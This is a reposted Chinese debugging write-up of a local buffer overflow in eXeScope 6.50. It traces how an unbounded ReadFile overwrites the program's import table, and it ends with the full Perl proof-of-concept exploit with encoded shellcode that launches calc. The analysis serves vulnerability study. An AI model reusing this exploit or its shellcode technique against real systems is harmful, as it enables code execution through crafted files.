[转载]eXeScope 6.50本地溢出分析

作 者: humourkyo
时 间: 2009-03-30,21:03
链 接: http://bbs.pediy.com/showthread.php?t=84975

无聊逛了下http://www.milw0rm.com 看最近有什么ODAY没,顺便挑一个分析下玩玩。
于是就看到了这个
http://www.milw0rm.com/exploits/8270
是eXeScope 6.50 Local Buffer Overflow Exploit。

用eXeScope 6.50打开生成的example.exe后弹出了计算器。
看了下他的exploit,感觉比较好理解。为了能找到漏洞发生的原因,我把shellcode前面的90改为cc(我是在example.exe文件偏移11e8处修改的),也就是int3。然后用od载入eXeScope,再用eXeScope打开example.exe,最下面显示堆栈溢出,使用shift+f7/f8/f9 来忽略程序异常。shift+f9执行后就来到这里。

可以看到程序暂停在了004d3258处。下面接着就是shellcode了。可是这个溢出的根本原因是什么呢?
看堆栈处,
004069FA 返回到 eXeScope.@LoadResString+36 来自 <eXeScope.LoadStringA>
看来程序是经过了这个函数后来到此处的。
重新加载一遍,ctrl+g来到004069fa处,在LoadStringA函数上面也就是004069f4处下个断点,然后f7走进去,这时发现
FF25 54324D00 JMP DWORD PTR DS:[<&user32.LoadStringA>] ; LoadStringA
DS:[004D3254]=004D3258 (<&user32.MessageBoxA>)
本地调用来自 @LoadResString+31
导入表被修改了,因为只要执行到004D3258就OVER了。
看来这个漏洞是覆盖了eXeScope的导入表。
不过还没有找到在哪里覆盖了。
还是用windbg再看看吧。先打开eXeScope,接着在命令行下
C:\Program Files\windbg>cdb -pn eXeScope.exe
输入G运行,再用eXeScope打开example.exe,

eXeScope+0x23b6:
004023b6 8b1e mov ebx,dword ptr [esi] ds:0023:4141413d=????????
这里有个内存读取错误。
再输入G运行
(778.6a8): Break instruction exception - code 80000003 (first chance)
eax=00400000 ebx=00407dfc ecx=00000000 edx=004cd0c8 esi=0012f778 edi=00000000
eip=004d3258 esp=0012f1d8 ebp=0012f77c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
eXeScope+0xd3258:
004d3258 cc int 3
这里eip指向004d3258了。
看来关键点就是004023b6。这里内存读取错误后,应该有个异常处理的,然后程序才能正常执行下去。

先看004023b6吧。
先运行起来,在打开example.exe的一瞬在004023b6下断点,断下后
.dd 4d3000 
004D3000 00000000
004D3004 00000000
004D3008 00000000
004D300C 000D393C
004D3010 000D31A4
004D3014 00000000
004D3018 00000000
004D301C 00000000
004D3020 000D3C2A
004D3024 000D3250
发现导入表现在还没有被覆盖,而我们要找的就是看导入表在哪一刻被覆盖的。

那我就在4d3000处下内存写入断点。
然后把004023b6处断点取消。F9运行之就来到下面了

/*4C70A4*/ PUSH 0
/*4C70A6*/ MOVZX EAX,WORD PTR DS:[4D20EE]
/*4C70AD*/ MOV ECX,EAX
/*4C70AF*/ SHL ECX,3
/*4C70B2*/ LEA ECX,DWORD PTR DS:[ECX+ECX*4]
/*4C70B5*/ MOV EDX,eXeScope.004D2220
/*4C70BA*/ MOV EAX,eXeScope.004D1D8C
/*4C70BF*/ CALL eXeScope.0040302C
/*4C70C4*/ CALL <eXeScope.@@_IOTest>
/*4C70C9*/ MOV EAX,eXeScope.004C75E8
/*4C70CE*/ CALL <eXeScope.@TextToShortCut_0>
/*4C70D3*/ MOV DWORD PTR DS:[4D2C48],EAX
/*4C70D8*/ MOV EAX,DWORD PTR DS:[4D2C78]
/*4C70DD*/ CALL eXeScope.004027BC

从OD注释上看应该是处理资源的时候出的问题。
好,重新来过,在稍微前面点4C70A4处下个断点。经测试发现只要过了
/*4C70BF*/ CALL eXeScope.0040302C
导入表就被覆盖。看来就是call 0040302C出的问题
F7进去仔细看个明白吧。
进去后,又经我人肉测试,发现过了
/*402FBA*/ PUSH 0
/*402FBC*/ LEA EAX,DWORD PTR SS:[EBP-4]
/*402FBF*/ PUSH EAX
/*402FC0*/ MOV EAX,DWORD PTR DS:[EBX+8]
/*402FC3*/ IMUL ESI
/*402FC5*/ PUSH EAX
/*402FC6*/ PUSH EDI
/*402FC7*/ MOV EAX,DWORD PTR DS:[EBX]
/*402FC9*/ PUSH EAX
/*402FCA*/ CALL DWORD PTR SS:[EBP+C]
/*402FCD*/ TEST EAX,EAX


过了/*402FCA*/ CALL DWORD PTR SS:[EBP+C]后导入表就被覆盖

OK,现在问题终于找到了。
就是/*402FCA*/ CALL DWORD PTR SS:[EBP+C]的原因。

可以看到这个函数是<JMP.&kernel32.ReadFile>
他的几个参数分别是 
句柄:140
读文件的缓冲区地址004d2220
读的字节大小:00002d78

而导入表起始地址是004d31a4.
004d2220+00002d78=4d4f98
显然超过了导入表的地址,全部覆盖了。

然后作者利用最近使用的导入表函数的地方,也就是LoadStringA,替换成了004d3258,刚好指向shellcode地址。
综上所述,该溢出的根本原因就是/*402FCA*/ CALL DWORD PTR SS:[EBP+C]
处<JMP.&kernel32.ReadFile>在读取资源时没有限制大小,导致构造的数据覆盖了eXeScope的导入表。

最后我不得不佩服作者如此巧妙的利用。另外这个漏洞真有趣,因此记录之.OVER。
附poc代码:

#!/usr/bin/perl
#
# eXeScope 6.50 Local Buffer Overflow Exploit
#
# Download eXeScope 6.50 at:
# http://hp.vector.co.jp/authors/VA003525/eXeSc650.zip
#
# Exploit by: Koshi ( heykoshi@gmail.com )


use strict;
use warnings;

my $headers = 
    
"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00".
    
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00".
    
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\x00\x00\x00".
    
"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68".
    
"\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F".
    
"\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x65\x69\x74\x68\x65\x72\x20".
    
"\x77\x61\x79\x21\x21\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00".
    
"\x8F\x8A\xF9\xDB\xCB\xEB\x97\x88\xCB\xEB\x97\x88\xCB\xEB\x97\x88".
    
"\x48\xF7\x99\x88\xCA\xEB\x97\x88\xA2\xF4\x9E\x88\xCA\xEB\x97\x88".
    
"\x22\xF4\x9A\x88\xCA\xEB\x97\x88\x52\x69\x63\x68\xCB\xEB\x97\x88".
    
"\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\xFF\x00".
    
"\xAB\xBA\x5C\x49\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\xF0\x01".
    
"\x00"x224;


# win32_exec -  EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
    
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23".
    
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0".
    
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3".
    
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f".
    
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4".
    
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2".
    
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba".
    
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f".
    
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56".
    
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9".
    
"\xe4";

my $buff0 = "A"x4148;
my $eip   = "\x58\x32\x4D\x00"# 004d3258 - eXeScope.exe
my $sled  = "\x90"x20;
my $len   = 6028 - length($shellcode);
my $buff1 = "A"x$len;
my $datas = $headers.$buff0.$eip.$sled.$shellcode.$buff1;

open(my $files, "> example.exe");
binmode $files;
print $files $datas;
close($files);


 

转载于:https://www.cnblogs.com/cmleung/archive/2009/10/13/1582715.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/482664.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

饶毅:中国脑计划是我见过的最差科学经费管理,中国猴计划应该缓行

左&#xff1a;饶毅 右&#xff1a;蒲慕明来源&#xff1a;饶议科学 作者&#xff1a;饶毅原标题&#xff1a;中国猴计划应该缓行在我国上上下下左左右右普遍对支持科学研究有广泛共识&#xff0c;在我国具备一定支持科学研究的经济条件的情况下&#xff0c;科技部正在推动最大…

2_RabbitMQ工作模式_Work queues_Publish/Subscribe_Routing_Topics_HeaderRpc

文章目录2_RabbitMQ工作模式1.Work queues2.Publish/Subscribe1.工作模式2.代码1.生产者1.指定消息队列相关消息2.建立连接&绑定队列3.发送消息完整代码&#xff1a;2.消费者1.指定消息队列相关消息2.建立连接&绑定队列3.实现消费方法&监听消息完整代码3.小结3.Rou…

1000亿美元!英特尔要在美国建世界最大芯片厂,美520 亿美元芯片法案接近敲定...

来源&#xff1a;新智元编辑&#xff1a;桃子 拉燕 时光1000亿美元芯片计划&#xff0c;要重振英特尔往日雄风&#xff01;路透称&#xff0c;英特尔将投资200亿美元建设2家芯片制造工厂&#xff0c;并计划最终投资多达1000亿美元。新工厂的建设将于今年晚些时候开始&#xff0…

Vue 组件间通信六种方式

前言 组件是 vue.js最强大的功能之一&#xff0c;而组件实例的作用域是相互独立的&#xff0c;这就意味着不同组件之间的数据无法相互引用。一般来说&#xff0c;组件可以有以下几种关系&#xff1a; 如上图所示&#xff0c;A 和 B、B 和 C、B 和 D 都是父子关系&#xff0c;C …

vue-day01-vue模板语法

文章目录Vue 是什么&#xff1f;使用Vue将helloworld 渲染到页面上指令v-cloakv-textv-htmlv-pre**v-once**双向数据绑定v-modelmvvmv-onv-on事件函数中传入参数事件修饰符按键修饰符自定义按键修饰符别名小案例-简单计算器v-bind绑定对象绑定class绑定对象和绑定数组 的区别绑…

IEEE Spectrum调查:AI 的 6 种最坏情况

来源&#xff1a;AI科技评论编译&#xff1a;辛西娅审核&#xff1a;维克多对于人类社会&#xff0c;人工智能&#xff08;AI&#xff09;带来的最大威胁是什么&#xff1f;好莱坞科幻电影的“想象”提供了答案&#xff1a;它逐渐进化&#xff0c;获得人类思考能力&#xff0c;…

212页PPT详解MEMS微传感器的工作原理(深入全面!)

来源&#xff1a;传感器专家网本文是关于MEMS微传感器的工作原理最全面的内容&#xff0c;分为两部分&#xff0c;共计212页PPT内容。主要讲解了MEMS微传感器的概念、分类&#xff0c;基本敏感原理介绍&#xff0c;MEMS微传感器实例、MEMS微执行器分类、基本致动方式介绍、微执…

Lucene-01 全文检索基本介绍

文章目录课程计划什么是全文检索数据分类结构化数据搜索非结构化数据查询方法如何实现全文检索全文检索的应用场景Lucene实现全文检索的流程索引和搜索流程图创建索引获得原始文档创建文档对象分析文档创建索引查询索引用户查询接口创建查询执行查询渲染结果全文检索技术Lucene…

为何生命进化的方向是衰老,而不是永生?

来源&#xff1a;科学的乐园永生似乎是全世界各种文化里都在追求的一种状态&#xff0c;为此古代的人们发展出了宗教&#xff0c;用来寄托死亡带来的遗憾。而人类也在想尽一切办法抑制衰老&#xff0c;各种护肤品、保养品相继问世。当然人类在这条追求永生的道路上也吃了很多苦…

vue-day02-vue常用特性

文章目录Vue常用特性表单基本操作表单修饰符自定义指令Vue.directive 注册全局指令Vue.directive 注册全局指令 带参数自定义指令局部指令计算属性 computed侦听器 watch过滤器过滤器中传递参数生命周期常用的 钩子函数数组变异方法替换数组动态数组响应式数据图书列表案例1、 …

2022年,哪些科技趋势将持续改变世界?这里有一份来自百度研究院的预测

来源&#xff1a;数学中国编辑部弹指之间&#xff0c;2021 年已经远去。这一年&#xff0c;新冠疫情全球经济和社会生活带来诸多挑战&#xff0c;同时&#xff0c;科学技术的力量得以持续显现。技术进步与产业发展的速度进一步加快&#xff0c;数字技术、智能技术为人们的生活带…

CSS每日学习笔记(1)

7.30.2019 1.CSS 文本属性 属性 描述 color 设置文本颜色 direction 设置文本方向。 line-height 设置行高。 letter-spacing 设置字符间距。 text-align 对齐元素中的文本。 text-decoration 向文本添加修饰。 text-indent 缩进元素中文本的首行。 text-shado…

vue-day03-vue组件化开发

文章目录组件组件注册全局注册组件基础用组件注意事项局部注册Vue 调试工具Vue组件之间传值父组件向子组件传值子组件向父组件传值兄弟之间的传递组件插槽匿名插槽具名插槽作用域插槽购物车案例1. 实现组件化布局2、实现 标题和结算功能组件3. 实现列表组件删除功能4. 实现组件…

智源发布《人工智能的认知神经基础白皮书》,一览“AI×脑科学”前沿

图. 智源研究院《人工智能的认知神经基础白皮书》&#xff08;2021年&#xff09;来源&#xff1a;智源研究院智源研究院发布 2021 年度《人工智能的认知神经基础白皮书》&#xff0c;兼具专业性与科普性&#xff0c;是人工智能学者探寻“AI脑科学”交叉学科研发创新的导览之作…

VR视觉健康标准在穗发布 专家:VR使用不要超过45分钟

来源&#xff1a;VR每日必看近期&#xff0c;“元宇宙”新兴概念备受关注&#xff0c;虚拟现实&#xff08;下称“VR”&#xff09;技术也被国内外媒体评为“第四次工业革命的钥匙之一”。但是&#xff0c;有不少人对VR眼镜等设备感到担忧&#xff1a;使用它会损害视力吗&#…

vue-day04-vue前端交互

文章目录接口调用方式异步promise基于Promise发送Ajax请求Promise 基本API实例方法.then().catch().finally()静态方法.all().race()fetch概览fetch请求参数&#xff08;图片记录&#xff09;fetch API 中的 HTTP 请求fetchAPI 中 响应格式axiosaxios基础用法axios的响应结果ax…

用数学范畴定义生命的尝试

来源&#xff1a;CreateAMind介绍一篇关于生命构建的论文Polynomial Life: the Structure of Adaptive Systems Toby St. Clere Smithe Topos Institute tobytopos.institute关键词&#xff1a;精确地形式化概念&#xff1b;是什么赋予了物理系统生命&#xff1b;贝叶斯、 信念…

git-从入门到熟悉

文章目录Git历史Git与svn对比SvnGitgit工作流程Git的安装软件下载软件安装安装git for windows安装TortoiseGit安装中文语言包使用git管理文件版本创建版本库使用GitBash使用TortoiseGit添加文件添加文件过程工作区和暂存区修改文件提交修改查看修改历史差异比较还原修改删除文…

王飞跃谈正来临的第五次工业革命:“未来一定有多个平行的你”

来源&#xff1a;来源&#xff1a;南方周末王飞跃&#xff0c;中国自动化学会副理事长兼秘书长&#xff0c;中科院复杂系统管理与控制国家重点实验室主任。其主要研究领域为智能科学、社会计算、平行系统、知识自动化和复杂系统的建模、分析与管理&#xff0c;是智能控制方面的…

著名的假设“缸中之脑”,我们怎么确定自己不是活在电脑程序中?

来源&#xff1a;科学的乐园看过电影《黑客帝国》吗&#xff0c;或者玩过游戏《恶灵附身》吗&#xff1f;黑客帝国剧照在电影《黑客帝国》中&#xff0c;主角发现自己所在的“现实世界”实际上是由一个计算机人工智能系统控制。也就是说他的世界实际上是一个由程序编码的虚拟世…